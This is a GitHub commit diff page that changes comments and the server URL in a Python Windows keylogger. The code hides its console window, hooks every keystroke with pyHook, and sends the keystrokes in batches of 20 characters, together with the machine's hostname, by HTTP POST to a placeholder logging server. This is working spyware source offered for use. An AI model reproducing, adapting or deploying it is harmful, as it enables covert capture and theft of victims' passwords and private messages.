File tree Expand file tree Collapse file tree 1 file changed +6
-7
lines changed
Expand file tree Collapse file tree 1 file changed +6
-7
lines changed Original file line number Diff line number Diff line change 88
99
1010# Get the console windows and hiding it
11- # so that app runs in the background
11+ # so the app runs in the background
1212win = win32console .GetConsoleWindow ()
1313win32gui .ShowWindow (win ,0 )
1414
1717wbuffer = ''
1818hostname = platform .node ()
1919
20+ #creating a payload and sending it to the server
2021def postRequest (param ):
2122 global hostname
2223 payload = {'word' : param , 'hostname' : hostname }
23- r = requests .post ('http://your_server_name.com/httplib /post/logger .php' ,data = payload )
24+ r = requests .post ('http://your_server_name/logger /post.php' ,data = payload )
2425
2526def OnKeyboardEvent (event ):
2627 global flag
2728 global wbuffer
2829
29- # logging is is stopped while pressing `` ( 2 times )
30+ # logging is is stopped when back quote (`) is pressed twice
3031 if event .Ascii == 96 :
3132 flag += 1
3233 if flag > 1 :
@@ -36,15 +37,13 @@ def OnKeyboardEvent(event):
3637 sys .exit ()
3738 if event .Ascii != 0 or 8 :
3839 key = chr (event .Ascii )
39-
40- #creating a payload and sending it to localhost
4140 wbuffer += key
42-
41+
42+ #Logs the data once the user has pressed 20 characters
4343 if len (wbuffer ) == 20 :
4444 postRequest (wbuffer )
4545 wbuffer = ''
4646
47-
4847#creating a hook object
4948hm = pyHook .HookManager ()
5049
You can’t perform that action at this time.
0 commit comments